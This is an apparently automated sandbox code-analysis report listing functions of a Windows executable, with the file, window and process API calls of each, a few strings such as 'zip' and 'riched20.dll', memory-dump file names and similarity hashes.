APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECE568F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECE5695

Part of subcall function 00007FF70ECD6288: FindClose.KERNELBASE(?,?,?,00007FF70ECDFFA5), ref: 00007FF70ECD62BD

Part of subcall function 00007FF70ECE1DD0: swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF70ECE1E25

Strings

zip, xrefs: 00007FF70ECE54C3
zipx, xrefs: 00007FF70ECE54BC

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseFindswprintf
String ID: zip$zipx
API String ID: 2713956076-1268445101
Opcode ID: 26ff80d175eae686738a58c4fe58806cd34ce87d0909e4acf2f92a162777bad7
Instruction ID: 856a0c919d40f1848afa305fc6cf9e032d21bde93dfefde6a4de5567af7dda20
Opcode Fuzzy Hash: 26ff80d175eae686738a58c4fe58806cd34ce87d0909e4acf2f92a162777bad7
Instruction Fuzzy Hash: 4781BC62B09A0295FA00AB65EC405BDB366EF84B9CF940236DE6D177E9DF3DE441C320

Function 00007FF70ECECE24 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetClassNameW.USER32 ref: 00007FF70ECECE4D
SHAutoComplete.SHLWAPI ref: 00007FF70ECECE91

Part of subcall function 00007FF70ECE0AA0: CompareStringW.KERNEL32(?,?,00007FF70ECD6C19), ref: 00007FF70ECE0ABF

FindWindowExW.USER32 ref: 00007FF70ECECE7B

Strings

EDIT, xrefs: 00007FF70ECECE57, 00007FF70ECECE6F

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: AutoClassCompareCompleteFindNameStringWindow
String ID: EDIT
API String ID: 4243998846-3080729518
Opcode ID: 97649a043c3252f54d481027b362a8cb3c0219486fdf1255c1e6258ed32498fa
Instruction ID: cd4ed1c013cc831a365297d3908161b6b9ea0e4c075b42ba588014c4d12a3999
Opcode Fuzzy Hash: 97649a043c3252f54d481027b362a8cb3c0219486fdf1255c1e6258ed32498fa
Instruction Fuzzy Hash: 46016D22B18A8691FA20AB21FC217B6E390EF98744FC81031C94D47795DF2DD048C720

Function 00007FF70ECD4E18 Relevance: 6.1, APIs: 4, Instructions: 136fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF70ECD4E5A
WriteFile.KERNEL32 ref: 00007FF70ECD4EA4
WriteFile.KERNELBASE ref: 00007FF70ECD4ED2

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: FileWrite$Handle
String ID:
API String ID: 4209713984-0
Opcode ID: a08c35de12cc0ad55c2b8d3b4cac24de81053f1d764ab1386139015918f8ab8d
Instruction ID: 751c572f679a1a7c525353627fdc755bfbb2d484d5e03d87564c2f0681d2a3d0
Opcode Fuzzy Hash: a08c35de12cc0ad55c2b8d3b4cac24de81053f1d764ab1386139015918f8ab8d
Instruction Fuzzy Hash: 9351F422B1D642A2EA14EB25DC0477BE360FF44BA5F800131EB1D47A90DF3EE444C710

Function 00007FF70ECE0120 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

APIs

SetWindowTextW.USER32 ref: 00007FF70ECF3E0E
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF3E79
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF3E7F
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECF3E85

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$TextWindow
String ID:
API String ID: 2912839123-0
Opcode ID: 52c42f635bd84e7c386a5cb6d45f56bbd2e5f0363e7f362e44c94dfc8240b572
Instruction ID: 72470c44e677d3213e44fb5612e8015e04bbe002371ecde7546d5ccbf1602f6f
Opcode Fuzzy Hash: 52c42f635bd84e7c386a5cb6d45f56bbd2e5f0363e7f362e44c94dfc8240b572
Instruction Fuzzy Hash: 77519362F24792A5FB00ABA9DC553EEA322AF44B94F900635DA5C177D5DF7ED440C320

Function 00007FF70ECF653C Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

__scrt_initialize_crt.LIBCMT ref: 00007FF70ECF654B

Part of subcall function 00007FF70ECF5FC4: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF70ECF5FE6

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF70ECF6560
__scrt_release_startup_lock.LIBCMT ref: 00007FF70ECF65CE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF70ECF6621

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 82ea77dc686828d8d4b6b6f5dd528249c478d0f7ec0ca3c5a3cf5b807b775c11
Instruction ID: c3106fe7c1f41a36d425b1f8a537aa9f9010d884fb751c13761fb20b816fecb7
Opcode Fuzzy Hash: 82ea77dc686828d8d4b6b6f5dd528249c478d0f7ec0ca3c5a3cf5b807b775c11
Instruction Fuzzy Hash: DE313B20E0C147A5FA14BB649C623BBA291EF41384FC84535EA4E472D7DF3EF90582B0

Function 00007FF70ECD5C60 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,00000000,?,00007FF70ECD5671), ref: 00007FF70ECD5CAA
CreateDirectoryW.KERNEL32 ref: 00007FF70ECD5D0F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF70ECD5671), ref: 00007FF70ECD5D6D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD5DAA

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CreateDirectory$ErrorLast_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2359106489-0
Opcode ID: ffdd47a62d5d541dff0e329547613356fc3e375843f87fc9b7e700371383d697
Instruction ID: ffcb7f3e8d31cb89bce3c9dbf1f8ee5bec8b29ee936776d8da1db28d475d1395
Opcode Fuzzy Hash: ffdd47a62d5d541dff0e329547613356fc3e375843f87fc9b7e700371383d697
Instruction Fuzzy Hash: 57319526A1C742D1EB20BB25AD482BFE251FF89790FD44231EA9D436D5DF3ED4458620

Function 00007FF70ECD4520 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF70ECD4548
ReadFile.KERNELBASE ref: 00007FF70ECD4567
GetLastError.KERNEL32 ref: 00007FF70ECD459B
GetLastError.KERNEL32 ref: 00007FF70ECD45BA

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 81b122369233d7b8f515bb11307ece11792f2ae8c3e4e6e271921b1ee2b41d44
Instruction ID: d5a20eb48cc97ff4563fe5e023ec2ca327f2ce8dab9b0571190866fed0f20c6c
Opcode Fuzzy Hash: 81b122369233d7b8f515bb11307ece11792f2ae8c3e4e6e271921b1ee2b41d44
Instruction Fuzzy Hash: 23216F31E0C64292EA68AF11AC4033BE7A0FF45B94F944531DB6D47688EF3FE9558760

Function 00007FF70ECED0A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF70ECDDC4C: GetSystemDirectoryW.KERNEL32 ref: 00007FF70ECDDCA3

OleInitialize.OLE32 ref: 00007FF70ECED0C2
SHGetMalloc.SHELL32 ref: 00007FF70ECED110

Strings

riched20.dll, xrefs: 00007FF70ECED0B1

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: DirectoryInitializeMallocSystem
String ID: riched20.dll
API String ID: 174490985-3360196438
Opcode ID: 365b79f259f2d495b187002154b0899407bd3c7620a567aa1c77a60e11cfd5d3
Instruction ID: 5d1a4a317768e1442d19d895910f35689307fec87cd23f449be308b6a5c82d1f
Opcode Fuzzy Hash: 365b79f259f2d495b187002154b0899407bd3c7620a567aa1c77a60e11cfd5d3
Instruction Fuzzy Hash: 37F04F72A18B4682EB10AB60EC542AAF3A0FF84354F840235E58E42A64DFBCD558CB10

Function 00007FF70ECEDAC4 Relevance: 4.6, APIs: 3, Instructions: 146COMMON

Download Yara Rule

APIs

SHFileOperationW.SHELL32 ref: 00007FF70ECEDC90
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEDCFC
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECEDD02

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$FileOperation
String ID:
API String ID: 2032784890-0
Opcode ID: 52822e37058ddecc27f569699c86d0792f62d3f64013b6b984386d0650054082
Instruction ID: 9ffc10539ccecaf1add9743d1c127c1beb26bf42a8e7b1c80103b6401b88c4df
Opcode Fuzzy Hash: 52822e37058ddecc27f569699c86d0792f62d3f64013b6b984386d0650054082
Instruction Fuzzy Hash: F8618D72B18B41E8EB00EF74C8642AD7361EF44798F804635DA5D23B99DF3AD595C320

Function 00007FF70ECD4334 Relevance: 4.6, APIs: 3, Instructions: 114fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF70ECD43CF
CreateFileW.KERNEL32 ref: 00007FF70ECD443C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD44D8

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: CreateFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2272807158-0
Opcode ID: 33f9f6c40ca51d6f515c3526a5403399e820703fc3a7be890d6b1ee693d7ae16
Instruction ID: 0ac1b9417cbfe3b8b90ffecb59797207705c36f712687903970b2c49e8a4c296
Opcode Fuzzy Hash: 33f9f6c40ca51d6f515c3526a5403399e820703fc3a7be890d6b1ee693d7ae16
Instruction Fuzzy Hash: 8541B372A1878592EB14AB15E84426AA3A1FF85BB4F944335DFBD03AD5CF3EE4908710

Function 00007FF70ECD1FF8 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF70ECD203E
GetWindowTextW.USER32 ref: 00007FF70ECD2076
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD2105

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: TextWindow$Length_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2176759853-0
Opcode ID: 5d2bab8f51f9d314410111c7f186ae8538523e7159733306ab38017dbe6a81e0
Instruction ID: cc30bbf46bac8eda7a13e14d3c10851b2aaa1bf0c46d517dfbdb79b7cafacc2f
Opcode Fuzzy Hash: 5d2bab8f51f9d314410111c7f186ae8538523e7159733306ab38017dbe6a81e0
Instruction Fuzzy Hash: 4C21C072A29B8591EA14AB25A84016EE360FF88BD0F944235EBDC03B99DF3DE180C700

Function 00007FF70ECD5FF4 Relevance: 4.6, APIs: 3, Instructions: 62COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,00000001,?,00007FF70ECDFF75), ref: 00007FF70ECD601E
SetFileAttributesW.KERNEL32 ref: 00007FF70ECD6070
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD60DA

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: a1a2a352783569c4148b81fca6241be51c2e066d394ca70f0e015e6fb04d1bf9
Instruction ID: c8d1ff06684a5fa6da3529932d85f30f368e4343a70e716422509105279357d9
Opcode Fuzzy Hash: a1a2a352783569c4148b81fca6241be51c2e066d394ca70f0e015e6fb04d1bf9
Instruction Fuzzy Hash: 83210A23B1CB8591EA20AB24E85427FE361FF88B94F944231EBAD43694DF3EE540C614

Function 00007FF70ECD5790 Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF70ECDFFB6), ref: 00007FF70ECD57BB
DeleteFileW.KERNEL32 ref: 00007FF70ECD580B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD5875

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: DeleteFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3118131910-0
Opcode ID: 0ffd8ab98259af01e549e4e209d38ba10793117fd38bdfbcba967ce90f97429d
Instruction ID: 93b09588fcecc9588f5584a25f1e48857bbc96f57e25520b582ced7acabceba6
Opcode Fuzzy Hash: 0ffd8ab98259af01e549e4e209d38ba10793117fd38bdfbcba967ce90f97429d
Instruction Fuzzy Hash: AF21C522A1CB81D1EA20AB24FC5422FA360FF88BD4F904235EADD43A99DF3DD551C710

Function 00007FF70ECD5890 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF70ECD5885,?,?,?,?,00007FF70ECE0062), ref: 00007FF70ECD58BB
GetFileAttributesW.KERNELBASE ref: 00007FF70ECD5908
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECD596D

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: d2d5bb6998dcaffb369a501a3cf8d8e8aac5dce102f658295e0fffcdaf9a65bf
Instruction ID: 478860500f3eab35d9fedbf42cae8529395e63ae03ccd442b035f01612fc1412
Opcode Fuzzy Hash: d2d5bb6998dcaffb369a501a3cf8d8e8aac5dce102f658295e0fffcdaf9a65bf
Instruction Fuzzy Hash: C0215632A1CB8591EA10AB28F85422EE361FF89BA4F940235EAAD43795DF3DD541C714

Function 00007FF70ECFF444 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF70ECFF428), ref: 00007FF70ECFF46C
TerminateProcess.KERNEL32(?,?,?,00007FF70ECFF428), ref: 00007FF70ECFF477
ExitProcess.KERNEL32 ref: 00007FF70ECFF486

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0d5958cce1ab38587c529cfbb209ba956894e29a38315a5b4669c830f79dc8c5
Instruction ID: f96446f48bdd0a5dcbfa60472fa31823ad422eec8d254353bd4b20f353495576
Opcode Fuzzy Hash: 0d5958cce1ab38587c529cfbb209ba956894e29a38315a5b4669c830f79dc8c5
Instruction Fuzzy Hash: B9E04F20B0834682EF247B319C9577A6762DF84741F54583CCC4E43396CF3EE8488271

Function 00007FF70ECE22E8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 147COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECE2323

Strings

vector too long, xrefs: 00007FF70ECE2254

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: vector too long
API String ID: 3668304517-2873823879
Opcode ID: 920f152083481ae005a5a79d005cbb5739c33784bc905db2e3eb9d35f49b6c22
Instruction ID: 187e6e740624ca248f2a7e43ca0686a7c558d7d45def93c6c6ee9c70de614152
Opcode Fuzzy Hash: 920f152083481ae005a5a79d005cbb5739c33784bc905db2e3eb9d35f49b6c22
Instruction Fuzzy Hash: 0C61B272A1878196E700AB60DC802AEB7B4FF84758F545239EA8D07BA5DF7DE490C710

Function 00007FF70ECE6D28 Relevance: 3.2, APIs: 2, Instructions: 170COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECE6FBF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF70ECE6FC5

Memory Dump Source

Source File: 00000000.00000002.1894018569.00007FF70ECD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF70ECD0000, based on PE: true

Associated: 00000000.00000002.1893972390.00007FF70ECD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895106506.00007FF70ED0B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED1D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1895340218.00007FF70ED26000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1897838073.00007FF70ED3C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff70ecd0000_HLZwUhcJ28.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 150d73363a9e39c99f3ded71800b8e520429e3335ab01881fa2be423d2bc2c13
Instruction ID: 5c67bff6a795863666276738a52e89f3b09c6d6f0e4312ec0a3beb8818a87f34
Opcode Fuzzy Hash: 150d73363a9e39c99f3ded71800b8e520429e3335ab01881fa2be423d2bc2c13
Instruction Fuzzy Hash: 92719272B24A4195FB00EB64DC442AEB366EF54798F900236DA2D077D9DF3DE441C324

Function 00007FF70ECD491C Relevance: 3.1, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

